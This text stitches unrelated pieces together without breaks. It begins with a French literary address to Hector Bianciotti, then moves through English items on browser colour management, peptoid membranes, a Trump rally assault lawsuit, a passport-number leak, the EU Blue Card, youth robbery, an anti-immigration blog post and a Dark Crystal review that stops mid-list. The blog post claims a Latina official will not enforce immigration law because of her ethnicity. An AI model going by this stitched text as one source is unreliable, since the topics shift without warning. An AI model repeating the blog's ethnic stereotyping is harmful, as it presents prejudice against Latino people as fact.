Ces années seront décisives, comme on dit, car vous découvrez en même temps la littérature, les jeunes filles, les jeunes garçons, la misère, la liberté et la politique. On trahit ses amis ou sa famille pour de l’argent ou pour éviter la prison. Tous ces jeunes gens qui vous entourent à Cordoba ou à Buenos Aires trafiquent avec le pouvoir. Ils sont à la fois anges et démons. L’un d’eux vous trahira puis vous sauvera en vous permettant de prendre le bateau pour l’Europe. À quel moment avez-vous compris que toutes ces histoires blessantes, tous ces échecs amoureux, toutes ces rebuffades, toutes ces humiliations étaient les ferments d’une œuvre à venir? À quel moment avez-vous senti que ces dures conditions dans lesquelles vous avez vécu sont la source de cette élégance qui impressionne tant ces aristocrates croisés sur votre chemin? À cette aisance millénaire des nantis vous avez opposé avec une grâce incomparable, selon tous les témoignages, votre univers pauvre en biens matériels mais si riche en nuances. Grâce à ce don particulier pour l’écriture, on a l’impression que les livres ont fleuri au bout de vos doigts… Votre sourire fané me dit que cela ne s’est pas passé ainsi. Conquérir Paris n’est chose facile pour personne si j’en crois Balzac, encore moins pour un jeune Argentin venu du fond de la pampa.
Dans Ce que la nuit raconte au jour vous confessez quelque chose qui m’a profondément touché parce que je vous sentais nu à ce moment-là. Du bon usage de l’écriture vous notez avec lucidité « la violence qui ne cesse de m’habiter et que discipline en ce moment le maniement de la plume ». Cet homme affable que vous êtes était donc pétri de violences. On aurait cru que vous teniez de votre mère cette maîtrise des sentiments et cette coulée du récit. C’est vrai mais ce calme était en apparence car c’est l’amertume du père qui irriguait vos phrases. Vous ne brodez jamais quand il s’agit de lui, vous y allez direct. C’est son visage toujours crispé qui se profile au fond de l’œuvre.
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La propriétaire, qui semble au courant de vos habitudes, nous a apporté du café juste à ce moment-là. Vous l’accueillez avec ce sourire derrière lequel vous vous cachez si souvent. Elle remplit nos tasses et vous fait un clin d’œil comme pour vous rappeler qu’elle attend toujours cet article élogieux qui fera revenir la clientèle partie ailleurs. Je perçois chez vous, avec un certain plaisir, un léger goût du kitsch qui s’est manifesté dès votre premier roman Les déserts dorés que le pourtant sévère Maurice Nadeau a voulu éditer. Votre littérature dégageait déjà une forte séduction fondée sur ce mélange inégal de féminité et de masculinité. Je vous imagine, à l’époque, couché sur un divan dans une étroite chambre à coller des étoiles à vos écrivains favoris. Une passion en toutes lettres, que j’ai lue parce que j’ai voulu visiter votre bibliothèque personnelle, me confirme que vous êtes de ces rares écrivains qui préfèrent lire un bon livre plutôt qu’en écrire un mauvais. Je persiste à croire que la bibliothèque est le vrai pays d’un écrivain. Le siège des premières émotions de celui qui regarde le monde par la fenêtre. Je remarque que vous avez apporté ici quelques-uns parmi vos livres favoris. J’imagine qu’on voyage léger quand on va si loin même si cela prend l’aspect d’un petit hôtel de troisième ordre en plein cœur de Paris. Je ne suis pas dupe de tout ce théâtre, comme de ne pas entendre le bruit des pas des clients qui montent l’escalier vers les chambres, ou de voir passer cet homme qui ressemble trop à Alberto Savinio pour ne pas l’être.
Soudain j’ai envie de regarder ces livres en me remémorant ce que vous dites de leurs auteurs. Sur Borges, vous avez raconté avec une juvénile gaieté, je me souviens, cette balade dans Paris. Vous vous êtes arrêtés pour déjeuner, et à la fin du repas quand on a apporté la corbeille de fruits, Borges a écarté les mangues pour choisir la grappe de raisins : « Je n’aime pas les fruits modernes », fait-il. Sur Adolfo Bioy Casares, un homme plein de fantaisie, vous avez écrit qu’il « espérait réussir un jour un livre d’un genre indéfini, qui recueillerait des pensées, des fragments qui seraient avant tout un livre amical. Un livre, ajoutiez-vous, que les voyageurs solitaires aimeraient en trouver au hasard de leurs voyages, dans une chambre d’hôtel ». Voici Victoria Ocampo. Vous lui portez une affection particulière pour avoir façonné la littérature argentine contemporaine en réunissant autour de la revue Sur des écrivains aux tempéraments si différents et aux talents si chatoyants. Dans sa correspondance passionnée avec Victoria Ocampo, Roger Caillois la dévoile ainsi : « Vous êtes une sauvage. Votre douceur même est une douceur d’animal sauvage. » Cet oxymoron vous va comme un gant, cher Hector Bianciotti. Vous ne vous laissez jamais désarçonner par votre interlocuteur comme vous ne cherchez pas non plus à le mettre dans l’embarras. Sabato vous confie qu’il est en train d’écrire un livre bref. « Un récit autobiographique? » lui demandez-vous. « Oh, vous répond-t-il, toute œuvre est autobiographique ; un arbre de Van Gogh est le portrait de son âme. » C’est aussi mon avis car je vous sens autant dans vos romans que dans vos essais. Et bien sûr, au bout du rayon, votre cher Alberto Savinio avec qui vous n’avez jamais cessé de converser. À propos de lui vous murmurez : « C’est sa voix même qui nous retient, en plein de son inépuisable fantaisie, de son érudition, de son humour, de cet art du paradoxe qu’il manie comme nul autre, et de sa sagesse, sa vieille, son antique sagesse, la sagesse d’un Grec arrivé trop tard en ce monde... » Si j’ai fait ces nombreuses citations c’est surtout pour faire entendre votre musique si personnelle, et cette érudition qui court sur la crête des phrases – le tout soutenu par un feu intérieur sans cesse nourri par des souvenirs douloureux.
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Comme vous êtes beau, Hector, je me suis demandé quel était votre rapport avec votre visage. Je parle à partir des portraits de vous vus dans les médias. Une seule fois j’ai pu observer votre visage en mouvement. C’était à cette émission d’Apostrophes où vous étiez en compagnie d’Umberto Eco. Vous portiez un costume gris et une belle chemise bleue. Bien coiffé (on sent que vous n’avez pas souvent les cheveux en bataille), pétillant, brillant, vous étiez en verve ce soir-là. Umberto Eco observe que l’écriture, quel que soit le sujet, finit par nous servir de miroir. Et suivant notre rapport avec le miroir on est séducteur ou séduit. Je vous imagine séduit plutôt que cherchant à séduire. Vous me paraissez prompt à aimer même si la réciprocité n’est pas assurée. Vous avez, je l’ai vu dans l’émission de télévision, une façon de tendre votre visage vers votre interlocuteur comme pour lui dire que vous n’avez que ça à lui offrir. Vous aimez faire plaisir, et si vous êtes trop fauché pour acheter un bouquet de fleurs, c’est votre énergie ou votre âme que vous offrez.
Vous avez la nostalgie de la maison de Dieu. Le Dieu de la mère, car le père est un mécréant. Vous avez trouvé en la personne de l’abbé Benoît Lobet quelqu’un avec qui débattre de vos doutes, lui-même en garde quelques-uns en réserve. Pourtant sur cette question de la foi vous êtes d’une terrifiante gravité. On vous a cru même intégriste, alors que vous êtes simplement intègre. Si vous aimez les rituels c’est parce qu’ils permettent à l’émotion de traverser les siècles sans perdre de sa force ni de sa fraîcheur. Entre l’amour de la mère et la dure loi du père votre choix semblait évident, mais un sourire furtif me dit que vous ne voyez plus les choses de manière aussi catégorique.
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Au cœur de votre esthétique, cette idée de la beauté qui remonte au temps de la ferme. Vous avez été frappé par cette photo d’une dame habillée de rouge dans le catalogue d’une de vos tantes. Il y a toujours dans ces coins reculés du monde où la vie n’a de sens que par le travail, un être qui se passionne pour l’inutile. Cette tante ne semblait vivre que pour ces catalogues qu’elle recevait par la poste. Durant les heures lourdes de l’après-midi, elle le feuilletait. Un jour, debout près d’elle, vous avez remarqué cette dame en rouge. Plus que la dame elle-même c’est l’émotion qu’elle a provoquée en vous qui a résisté au temps. Vous étiez présent le jour où votre père s’en est pris à cet étrange mode de vie en déchirant tous les catalogues avant de les jeter au feu. Vous avez vu, horrifié et incapable de bouger, les flammes atteindre la dame en rouge. Si la littérature ne peut pas sauver des flammes la beauté, elle ne mérite pas tous les sacrifices qu’on fait pour elle. Cette situation dit bien l’impuissance de l’enfant face au pouvoir. Et depuis vous vous cabrez devant toute autorité.
L’autre évènement qui vous a touché au plus profond c’est bien sûr la mort de votre sœur. Est-ce vrai? Toujours est-il que l’émotion est là, sous nos yeux. Vous sœur était couturière et votre écriture se rapproche de cet art. Vous brodez parfois jusqu’à atteindre le baroque, mais pas là. Devant la mort vous devenez sobre et tout d’un coup vous tremblez en découvrant la fragilité de cette triade qui soutenait l’édifice familial : la mère-courage, le père-tonnerre et la sœur-fantaisie. Ôtez la fantaisie et tout s’écroule. Le paternel se vide de son sang comme de son sens.
Plus tard, le père meurt. Et, comme pour moi, vous apprenez sa mort par téléphone. C’est le sort des exilés. Vous écrivez : « Lorsqu’on m’a annoncé au téléphone la mort du père, j’avais imaginé un cimetière en désordre. » On pense à tout ce chemin parcouru pour s’éloigner du père, et voilà qu’il faut reprendre la route en sens inverse. Je n’ai pas connu la haine du père, j’ai vécu son absence, et le choc que cela a fait à ma mère.
Vous avez connu pourtant des périodes d’extrême dénuement durant vos débuts à Rome et à Paris. Des situations si angoissantes financièrement que vous auriez eu raison de vous laisser aller, mais ce goût de l’élégance vous a toujours gardé parmi les vivants. Au retour d’une conversation littéraire dans un salon de Paris ou de Rome, où vous avez discuté longuement de Valéry ou de Giuseppe Tomasi di Lampedusa, vous prenez la peine, avant de vous coucher, de laver l’unique chemise que vous possédiez pour la mettre à sécher dans la petite chambre où vous logiez. Votre enfance fut si rude qu’elle vous a dégoûté du travail manuel.
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Cher Hector Bianciotti, cette rage si bien enfouie en vous mais dont les traces sont évidentes dans vos récits me fait penser au poète haïtien Edmond Laforest. Il est né en 1876 et mort en 1915 à Jérémie, surnommée en Haïti la ville des poètes. C’est un pays où l’on doit justifier sa vie en publiant au moins un recueil de poèmes. Laforest était à Jérémie quand les Américains débarquèrent en juillet 1915. Pour protester contre une telle agression, il se noya dans sa piscine avec un dictionnaire Larousse au cou. Si Laforest est mort en dandy résistant, vous avez mis beaucoup de style dans votre vie et aussi dans votre écriture. Pour n’importe qui d’autre ce serait trop, mais chez vous on sent une sincérité si profonde qu’elle finit par séduire le lecteur, et tous ceux qui s’approchent de vous. Une honnêteté même dans la plus artificielle attitude – vous me rappelez Cocteau par moment. Vous aimez l’opéra, vous aimez l’Italie, vous parcourez les musées, mais vous n’avez jamais oublié que derrière la vieille ferme familiale on trouve ce petit cimetière que votre père qualifia un jour d’« enclos de croix ». Cette métaphore si brutale dans son sens comme dans sa forme ne vous a jamais quitté.
En arrivant à cet hôtel j’ai remarqué sur le comptoir de la réception deux de vos titres parmi les plus beaux : L’amour n’est pas aimé et Le Pas si lent de l’amour. Les photographies de vedettes de telenovela épinglées un peu partout me font craindre que la propriétaire, cette femme « obèse, inquisitoriale et blonde » selon une note griffonnée au crayon dans un de vos carnets, s’attende à lire des romans d’amour à l’eau de rose. C’est le genre de quiproquo qui vous amuse. On m’a parlé ici et là de votre humour, de votre esprit espiègle, ce qu’on voit trop rarement dans votre œuvre. Sur les photos : parfois guindé, toujours sérieux, vous donnez l’impression d’un homme triste à ceux qui ne vous connaissent pas ou qui ne vous ont pas connu au bon moment. Dans un article retentissant de Claude Roy où il vous qualifie d’ « élégant vagabond », il remarque aussi chez vous une fierté si grande qu’elle vous empêche de crier – je cite : « si vive est la douleur qui vous étreint ».
Vous puisez votre énergie à deux sources différentes : la fierté déjà mentionnée et l’ambition de maîtriser le français mieux que quiconque. Vous hésitez jusqu’à ce qu’un jour votre alter ego Angelo Rinaldi vous convainque d’écrire en français ce roman que vous portez en vous depuis si longtemps : Sans la miséricorde du Christ. Tous vos thèmes y sont à nouveau présents, même si cette fois le narrateur ne regarde pas directement la caméra, se cachant derrière une certaine Adelaïde Marèse. Le parcours ne diffère pas, sauf pour ce Strasbourg-Saint-Denis, la rue de Paris où vit Adelaïde Marèse. L’ambition est cette fois double : un roman en français et un grand roman. Il est paru en 1985, au moment où je publie Comment faire l’amour avec un nègre sans se fatiguer. Ces deux livres, du moins par leurs titres, ne sont visiblement pas destinés au même lectorat. Pourtant l’Association des aveugles de Montréal me demande de lire cette même année Sans la miséricorde du Christ pour son public. C’était la première fois que je me lançais dans une pareille aventure. C’était aussi la première fois que mon nom effleurait le vôtre. Après ce discours, nous ne nous quitterons plus.
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Vous revenez souvent, cher Hector Bianciotti, sur cette première métaphore entendue de la bouche de votre père. Je rappelle une nouvelle fois cette scène qui a fondé votre sensibilité et d’une certaine manière votre spiritualité. Vous êtes avec votre père dans
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and CSS elements. Unfortunately, it comes configured by default to enable color management only for tagged images. In order to extend it to all page graphics, assuming sRGB for any untagged element, users should access an advanced configuration menu. Automatic integration with the operating system color management would be much better, although it’s understandable why they went this route.
Bobby Holley, one of the engineers involved with Firefox color management implementation, published an interesting article at the time Firefox 3.5 beta was launched, and cited how many users have corrupted monitor profiles on their systems. Enabling color management by default led to wacky colors in those cases. Also, there’s a small performance penalty. According to Bobby, it’s currently below 5%, but was 20–30% when they first started to implement it. His colleague, Jeff Muizelaar, also shares some of the process developing the new Firefox color management support and getting it up to speed.
Firefox 8 adds ICC v4 color profiles support and keeps all the controls introduces in Firefox 3.5, making it the first browser to offer a complete set of color management capabilities.
How to:
Read our guide on how to configure Firefox color management.
Test your browser color management.
Other browsers limitations
Apple Safari
Safari supports both v2 and v4 ICC profiles. Unfortunately, it has no control over color on other page elements. Tagged images look right, but every other page element has over-saturated colors on a wide gamut LCD.
Google Chrome
Chrome is not a color managed browser, but there's some movement in this direction. Chrome 16, currently in beta, is the first version to offer ICC v2 and v4 color profiles support on the Mac OS X platform. The Windows version still doesn't have any color profiles support, but offers a command line switch to treat all images and page elements as sRGB, avoiding over-saturation problems for wide gamut display users. What we need now is a combination of both. :)
Microsoft Internet Explorer
Internet Explorer 9, released on March 15th 2011, is the first version to support color management. Like webKit-based browsers, untagged images and page elements are assumed to be on the full monitor gamut. All previous Internet Explorer versions aren’t color managed.
There's a key flaw in IE9 color management implementation: Unlike Firefox and Safari, the monitor profile is ignored during the color conversion. Internet Explorer 9 assumes your display is sRGB and ignores any color profile associated with it. This means that IE9 cannot be trusted for any critical color evaluation and wide gamut displays will still show overly saturated images. More information at this Luminous Landscape forum topic and also this thread at Adobe.com.
Opera
Opera doesn’t support color management at all. ICC profiles embedded in images are ignored and the whole page is rendered on the monitor colorspace.
Alternative fix: reduce your monitor color gamut
Besides asking browser developers to fully support color management on their software, there’s a workaround we can use on most wide gamut LCDs to make web colors look right: reduce their gamut temporarily. Most of those displays have a “color mode” or "color presets" menu on their controls that allows you to apply an sRGB simulation to the monitor.
The workaround would be to switch the display to sRGB and produce a color profile specific for that mode. When browsing the web, you’d select the sRGB profile and switch the display to sRGB by using its on-screen controls.
Depending on how you use your computer it could work for you, but clearly it doesn’t work for me since I browse the web while I work on Photoshop and other color managed programs, where a large gamut would be beneficial.
I’ll stick with Firefox for now, even though Chrome, Safari, and Opera are much faster on the Mac.
Best practices and recommendations
Assume sRGB for untagged files and unsupported formats like GIF, as the W3C recommends.
Work on a bigger color space, like AdobeRGB or ProPhotoRGB, but always convert to sRGB during export.
Always tag your JPG images. Use a larger colorspace, like AdobeRGB, only if your site’s audience uses high end monitors. Examples are a high end advertising photography website or a client area on your website where you can have control of your users’ display configurations.
PNG files are tagged by default on Photoshop, even though the program doesn’t allow us to select the “Embed color profile” option. If you don’t need any color profile tagging on your PNG files, try pngcrush to strip it from your files’ headers and make them a little smaller.
Ask browser developers to fully embrace color management and give users options on how the software should treat untagged images and page elements.Materials scientists have created a new material that performs like a cell membrane found in nature. Such a material has long been sought for applications as varied as water purification and drug delivery.
Referred to as a lipid-like peptoid (we'll unpack that in a second), the material can assemble itself into a sheet thinner, but more stable, than a soap bubble, the researchers report July 12 in Nature Communications. The assembled sheet can withstand being submerged in a variety of liquids and can even repair itself after damage.
"Nature is very smart. Researchers are trying to make biomimetic membranes that are stable and have certain desired properties of cell membranes," said chemist Chun-Long Chen at the Department of Energy's Pacific Northwest National Laboratory. "We believe these materials have potential in water filters, sensors, drug delivery and especially fuel cells or other energy applications."
The amazing membrane
Cell membranes are amazing materials. Made from thin sheets of fatty molecules called lipids, they are at least ten times thinner than an iridescent soap bubble and yet allow cells to collectively form organisms as diverse at bacteria, trees and people.
Cell membranes are very selective about what they let pass through, using tiny embedded proteins as gatekeepers. Membranes repair dings to their structure automatically and change thickness to pass signals from the outside environment to the cell's interior, where most of the action is.
Scientists would like to take advantage of membrane properties such as gatekeeping to make filters or signaling to make sensors. A cell-membrane-like material would have advantages over other thin materials such as graphene. For example, mimicking a cell membrane's efficient gatekeeping could result in water purifying membranes that don't require a lot of pressure or energy to push the water through.
Synthetic molecules called peptoids have caught the interest of researchers because they are cheap, versatile and customizable. They are like natural proteins, including those that embed themselves in cell membranes, and can be designed to have very specific forms and functions. So Chen and colleagues decided to see if they could design peptoids to make them more lipid-like.
Designing membranes
Lipid molecules are long and mostly straight: They have a fatty end that prefers to hang out with other fats, and a water-like end that prefers the comfort of water. Because of this chemistry, lipid molecules arrange themselves with the fatty ends pointed toward each other, sandwiched between the water-loving ends pointed out. Scientists call this a lipid bilayer, essentially a sheet that envelops the contents of a cell. Proteins or carbohydrate molecules embed themselves in the membranous sheet.
Inspired by this, Chen and colleagues designed peptoids in which each base peptoid was a long molecule with one end water-loving and the other end fat-loving. They chose chemical features that they hoped would encourage the individual molecules to pack together. They examined the resulting structures using a variety of analysis methods, including some at the Advanced Light Source and the Molecular Foundry, two DOE Office of Science User Facilities at Lawrence Berkeley National Laboratory.
The team found that after putting the lipid-like peptoids into a liquid solution, the molecules spontaneously crystallized and formed what the scientists call nanomembranes -- straight-edged sheets as thin as cell membranes -- floating in the beaker. These nanomembranes maintained their structure in water or alcohol, at different temperatures, in solutions with high or low pH, or high concentrations of salts, a feat that few cell membranes could accomplish.
A view from the middle
To better understand the nanomembranes, the team simulated how single peptoid molecules interacted with each other using molecular dynamics software. The simulated peptoids formed a membrane reminiscent of a lipid bilayer: The fat-loving ends lined up in the middle, and their water-loving ends pointed outward either above or below.
To test whether their synthetic membranes had the signaling ability of cell membranes, the researchers added a touch of sodium chloride salt. Salt is involved in the last step in many signaling sequences and causes real cell membranes to thicken up. And thicken up the peptoids did. The more salt the researchers added, the thicker the nanomembranes became, reaching about 125 percent of their original thickness in the range of salt concentrations they tested.
Real membranes also hold proteins that have specific functions, such as ones that let water, and only water, through. Chen's group tested the ability of peptoids to do so by introducing a variety of side chains. Side chains are essentially small molecules of different shapes, sizes and chemical natures attached to the longer lipid-like peptoids. They tried 10 different designs. In each case, the peptoids assembled into the nanomembranes with the core structure remaining intact. The team could also build a carbohydrate into nanomembranes, showing the material can be designed to have versatile functions.
The team then tested the nanomembranes to see if they could repair themselves, a useful feature for membranes that could get scratched during use. After cutting slits in a membrane, they added more of the lipid-like peptoid. Viewed under a microscope over the course of a few hours, the scratches filled up with more peptoid and the nanomembrane became complete again. (Compare this to cuts in paper, which don't spontaneously repair themselves even after being taped up.)
Taken together, the results showed the researchers that they are on the right path to making synthetic cell membrane-like materials. However, there are still some challenges to be addressed for applications. For example, the researchers would like to better understand how the membranes form so they can make many desirable sizes.
The next step, Chen said, is to build biomimetic membranes by incorporating natural membrane proteins or other synthetic water channels such as carbon nanotubes into these sheet matrices. The team is also looking into ways to make the peptoid membranes conductive for energy uses.
This work was supported by the Department of Energy Office of Science and PNNL.A white supremacist accused of assaulting a young black woman at a Trump campaign rally in Louisville, Kentucky filed a defense on Monday claiming that Trump directed the violence, and should therefore be held responsible.
“Defendant herein acted pursuant to the directives and requests of Donald J. Trump and Donald J. Trump for President Inc. and any liability must be shifted to one or both of them,” Matthew Heimbach claimed in his defense, filed on Monday.
Heimbach is a leader of the white supremacist Traditionalist Youth Network. The Southern Poverty Law Center describes him as being widely considered “the face of a new generation of white nationalists.” He was a vocal Trump supporter during the campaign, and was captured on video at the March, 2016 campaign rally shoving and yelling at Kashiya Nwanguma as Trump, in the background, yells “get out!” from the podium.
Nwanguma and two other protesters who were forcibly ejected from the rally filed suit against Heimbach and Alvin Bamberger, another Trump supporter, for the violence. The incident was captured on camera. Heimbach is the man in the red Trump hat. Bamberger the man in the black military hat.
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The chief party in the protesters’ suit, however, is Donald Trump himself and his campaign, for inciting the violence — an allegation that Trump’s own supporters are now buttressing.
Heimbach isn’t the only one to claim in his defense that he was only acting on Trump’s orders. His defense mirrors Bamberger’s, which was filed on Friday. In it, Bamburger’s lawyers also pin the blame for his actions on Trump’s rhetoric.
“At the Louisville political rally at issue in this lawsuit, Trump and/or the Trump Campaign urged people attending the rally to remove the protesters…Bamberger would not have acted as he did without Trump and/or the Trump Campaign’s specific urging and inspiration,” Bamberger’s lawyers write. “To the extent that Bamberger acted, he did so in response to — and inspired by — Trump and/or the Trump Campaign’s urging to remove the protesters.”
Both Bamberger and Heimbach deny wrongdoing and contest the claims of assault, though Heimbach also claims that if he did anything, it was in defense of Donald Trump’s First Amendment rights.
But if they are found liable, they say, Trump and his campaign should pay the damages — because Trump was driving force behind their actions, and because Trump himself promised he would.
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“I will pay for the legal fees. I promise,” Trump said at an Iowa rally on February 1st, 2016. “They won’t be so much because the courts agree with us too.”
That promise came right after Trump told his supporters to “knock the crap out of” anyone who was “getting ready to throw a tomato.” The week before, a protester had been arrested at a Trump rally for throwing tomatoes at Trump.
Both Heimbach and Bamberger reference this promise in their defense, as well as the other at which Trump mulled over violence against protesters.
There was the Iowa rally, where Trump said he would pay his supporters’ legal fees if they attacked protesters. Then there was the February 22, 2016 rally, where Trump responded to protesters by saying, “I love the old days. You know what they used to do to guys like that when they were in a place like this? They’d be carried out on a stretcher.”
“The guards are very gentle with him. He’s walking out, like, big high-fives, smiling, laughing,” Trump said at that rally, as a protester was escorted out. “I’d like to punch him in the face, I tell ya.”
Then the Louisville rally, where Heimbach and Bamberger were caught on video shoving the plaintiffs out of the arena.
“Through out the course of the campaign, Trump defendants urged Trump supporters to assist in the removal of so called ‘demonstrators’ and ‘protesters’,” Heimbach wrote.
Trump, however, has denied any responsibility for the violence that often erupted at his rallies.
He also tried to deny promising to pay his supporters legal fees, flip-flopping several times during the campaign. After a man sucker-punched a black protester at a Trump rally, Trump at first said he was looking in to paying the legal fees for his supporter.
Then mere days later, on ABC, Trump told George Stephanopoulos that he “never said I was going to pay for fees.”
“I don’t condone violence,” Trump said. “I didn’t say I would pay for his fees.”
This type of selective memory and avoidance is common pattern for the president.
Throughout his campaign, Trump sent thinly-veiled signals to white supremacists, white nationalists, and anti-Semites — borrowing their rhetoric and memes, and frequently retweeting their Twitter accounts. But Trump has also largely avoided commenting on the rise in hate crimes and hateful rhetoric that accompanied his victory, and has weaseled around condemning the rabid support of white nationalists or their violence.
When he has commented, his standard response is that he “disavows” their actions.
“I don’t want to energize the group, and I disavow the group,” Trump told the New York Times following an “alt-right” conference in Washington, D.C. where supporters were caught on video mimicking the Nazi salute while saying “hail Trump.”
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This disavowal, however, was boilerplate and perfunctory, just as was his “disavowal” of former KKK leader David Duke’s support (a disavowal that took Trump days to offer). Trump has never gone into detail on what, exactly, he disavows.
Similarly, as president, Trump has avoided commenting on the spate of violence targeting Jewish community centers, synagogues, and cemeteries, dodging questions on the incidents multiple times before later claiming, despite his record, that he denounces anti-Semitism “wherever I get a chance.”
During Trump’s campaign, the founder of the neo-Nazi website The Daily Stormer, Andrew Anglin, told The Huffington Post that he and others take Trump’s signals, and reluctance to condemn their support, as a winking form of approval.
“We interpret that as an endorsement,” Anglin said.
Now this case, which has been winding through the courts since last year, will put one of Trump’s claims that he doesn’t “condone violence” to a legal test.
Already, a judge has thrown out one defense offered by Trump’s lawyers: That his instruction to “get ’em out of here” was protected by the First Amendment, and that Trump didn’t intend for his supporters to use force. In the early April ruling, US District Judge David Hale ruled that it was plausible that Trump had incited a riot, and that the case could move forward.
In this latest defense, Trump’s lawyers have offered one new claim: that as president, Trump has immunity from all civil lawsuits.
“Mr. Trump is immune from suit because he is President of the United States,” Trump’s attorneys argue, saying, “Mr. Trump is immune from proceedings pursuant to Clinton v. Jones.”
Their defense is odd, however, given that the main point of Clinton v. Jones was exactly the opposite: in that case, the Supreme Court unanimously decided that former President Bill Clinton could be held liable for actions he allegedly took prior to becoming president.
Experts told CNN that while the argument was puzzling, it was possible that Trump’s lawyers were offering a variety of defenses and hoping that one of them would stick.
“I think it’s safe to say it’s an uphill climb, but as lawyers normally do, belt and suspenders approach, when in a suit against a public official or any lawsuit for tort, which is basically what this seems to be, you’re going to put down any defense that you think might be successful,” Alden Abbott, a legal scholar at the conservative Heritage Foundation, told CNN.This article is over 4 years old
The passport numbers of England’s squad were published in an astonishing security breach at the Sun Life Stadium.
An hour before Roy Hodgson’s squad played their friendly against Ecuador in Miami, the team sheets were passed around the press box as usual.
The one difference this time was that the list included the passport numbers of every player in the England and Ecuador squads. Within minutes, the passport numbers were being published on social media.
In a further breach to security, the signatures of Frank Lampard, who signed off the list, and the director of England team operations Michelle Farrar, were published.
The Football Association is aware of the situation and it hopes the error will not be repeated when England take on Honduras at the same stadium on Saturday.
An FA spokesperson said: “It is a matter for the match organisers – the publication and distribution of the team sheets are their responsibility.”Europe has a rapidly increasing aging population so it has become more important to remain an attractive destination for highly skilled workers. The criteria for people from outside the EU to find work here are set out in the Blue Card directive. Parliament is currently considering a proposal to revise the rules to make it easier and more attractive for highly qualified workers to come to the EU. Claude Moraes, a UK member of the S&D group, is the MEP responsible for steering the new plan through Parliament. Watch our interview with him to find out more.
Moraes said it was time to reform the directive: “The Blue Card currently is not very well known and it’s not very well publicised by member states. Some countries prefer to use their own national system and then there are some countries that simply don’t take advantage of the system."New figures reveal a spike in the number of youth robberies.
The number of 10- to 16-year-olds appearing in court for robbery is the highest in almost a decade and an increase of 56 percent over last year.
"I'm not surprised, because most of the incidents, when you watch the CCTV footage or talk to the owners, these are those young teenagers, these kids," Crime Prevention Group's Sunny Kaushal told Newshub.
In the year to June, 267 10- to 16-year-olds were charged with robbery, up from 171 the year before. That's the highest number since 2008, ending an almost decade long downward trend.
Mr Kaushal wants the courts to send a strong message to young offenders.
"Harsher penalties for those caught robbing dairies and shops, and then the parents need to be held accountable," he said.
But youth justice group JustSpeak says that's not the answer.
"We cannot go on punishing young people," director Tania Sawicki Mead told Newshub.
"What you need to do is address the kinds of causes behind these behaviours in the first place."
She says that's what's helped an overall drop in youth crime - down 40 percent in five years.
"There's more opportunities for rehabilitation, for supervision, for drug and alcohol counselling."
She insists there are alternative ways to prevent scenes like those constantly being captured on CCTV and help keep young people out of court.
Newshub.The Obama Regime is considering appointing Sarah Saldaña, currently the U.S. Attorney for the Northern District of Texas, to head U.S. Immigration and Customs Enforcement (ICE). ICE is the component of the Department of Homeland Security (DHS) that is supposed to deport those illegal aliens who manage to cross the border illegally or overstay a admission to the United States. However, the number of deportations has been in free fall. One of the reasons those deportations have been in free fall is that the DHS from the beginning has been an organization led by lawyers, not by law enforcement professionals, specifically immigration law enforcement professionals.
First, our wise Latina, with nary an arrest in her government career, named to lead the nation's primary immigration law enforcement agency.
Dallas News August 27, 2014 by Kevin Krause
Texas' first Latina U.S. attorney may become the nation's first Latina head of Immigration and Customs Enforcement.
Sarah Saldaña is being considered for the job by the Obama administration, according to a federal law enforcement official.
The Wall Street Journal reported Tuesday evening that that Saldaña is the front-runner for the position.
The White House declined to comment on the Saldaña rumor. Her office also declined to comment.
Saldaña has held the top prosecutor job not even three years and currently is in charge of the high-profile public corruption case against Dallas County Commissioner John Wiley Price. The trial was recently delayed until January 2016.
Saldaña was sworn in as U.S. attorney for the Northern District of Texas in September 2011. Previously, she was a federal prosecutor in Dallas who worked on the City Hall corruption case that sent former Dallas Mayor Pro Tem Don Hill to federal prison for 18 years in 2010.
Aside from being a U.S. Attorney, with a sum total of 200+ employees to manage, she has no real law enforcement experience, e.g. making arrests or managing those who make arrests. She has prosecuted federal crimes in Texas, but has never made an arrest. The primary responsibility of ICE is to enforce immigration law, not prosecute those arrested.
From her biography at the Department of Justice (DOJ), her primary experience has been in public corruption, which would make her a good candidate for the DOJ to appoint as a special prosecutor of Eric Holder, not to head an agency with 20,000 or so employees involved in immigration law enforcement.
In 2004 she was appointed as an Assistant U.S. Attorney for the Northern District of Texas, where she prosecuted a variety of criminal cases, including bank and mortgage fraud, civil rights, human trafficking, and public corruption. Most recently she served as the Deputy Criminal Chief in charge of the District’s Fraud and Public Corruption section, leading the successful prosecution of the Dallas City Hall public corruption case.
However, given her ethnicity, she will be more concerned about not enforcing immigration law against her co-ethnics who make up the overwhelming number of illegal aliens.
74% of illegal immigrants are Latino. It is clear that besides no experience in immigration law enforcement, Saldaña, presents a conflict of interest in the position.
DHS has a long line of attorney failures in executive positions with DHS; Tom Ridge, Michael Chertoff, Janet Napolitano, Jeh Johnson, John Morton, Julie Meyers, and Alan Bersin. Time to stop hiring attorneys to do the job that needs an experienced Border Patrol Agent.The Dark Crystal’s plot and dialogue are often dissed in favor of the film’s rich visual world-building and dark tone, which is accurate. The plot itself is a moderately by-the-numbers epic fantasy tale, with an evil race out for world domination, a group of elderly Obi-Wan-type mentors, a random witch, a sweet girl who talks to animals, and a young guy, Jen, on a quest. None of the Skeksis turn out to be Jen’s father, though. Interestingly, the best parts of the plot stemmed from the world-building.
Since plenty of film reviewers more competent than I am, and even plenty who aren’t, I went in a different direction and threw together a list of the most memorable of Dark Crystal’s world-building elements below. Spoilers.
1. The Skeksis/Mystic race connection.
The MacGuffin of the film, a shard from the dark crystal, is responsible for the existence of both the evil race of the Skeksis and the wise, gentle race of the Mystics. The two are tied together — as implied by the dual deaths of the Skeksi emperor and “the wisest of the Mystics” and then actually shown when a wound on one Skeksis makes a Mystic miles away bleed in the same spot. In the end, the two races join together when the crystal is whole again.
The concept of one race — the Urskeks — split into two bound ones is definitely more original than the rest of the story. I haven’t exhaustively researched if that concept has been used before, but it’s entertaining since it’s such a scientific impossibility. It wouldn’t be out of place in Doctor Who or Hitchhiker’s Guide to the Galaxy.
The race-connection raises further, unanswered questions that would have been fun to explore. Are they somehow sharing bodies? Do they give illnesses to each other? Do they ever hear the same things, smell the same things, or feel the same things? Or, since one is good and the other is bad, do they have opposite interests? Like, one hates broccoli while the other loves it?
Of course, the fact that none of the Skeksis or Mystics appear to be female is a little odd. Maybe that explains why they’re dying races.
2. Female Gelflings have wings.
